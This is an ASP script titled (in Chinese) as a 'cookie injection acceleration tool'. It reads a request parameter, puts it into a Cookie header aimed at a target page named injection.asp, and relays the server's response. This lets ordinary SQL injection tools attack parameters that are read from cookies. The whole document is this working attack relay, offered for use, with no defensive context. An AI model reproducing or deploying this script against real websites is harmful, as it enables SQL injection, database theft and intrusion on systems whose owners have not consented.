ASP版实现cookies注入加速工具

<% 
str="xxxid="&escape(request("fk")) 
url="http://xxx.chinaxxx.com/injection.asp" 
response.write postdata(url,str) 

function postdata(posturl,postcok)  
dim http 
set http = server.createobject("msxml2.serverxmlhttp") 
with http 

.open "get",posturl,false 
.setrequestheader "cookie",postcok 
.send 
postdata = .responsebody 
end with 
set http = nothing 
postdata =bytes2bstr(postdata) 
end function 

function bytes2bstr(vin) 
dim strreturn 
dim i, thischarcode, nextcharcode 
strreturn = "" 
for i = 1 to lenb(vin) 
thischarcode = ascb(midb(vin, i, 1)) 
if thischarcode < &h80 then 
strreturn = strreturn & chr(thischarcode) 
else 
nextcharcode = ascb(midb(vin, i + 1, 1)) 
strreturn = strreturn & chr(clng(thischarcode) * &h100 + cint(nextcharcode)) 
i = i + 1 
end if 
next 
bytes2bstr = strreturn 
end function 

%>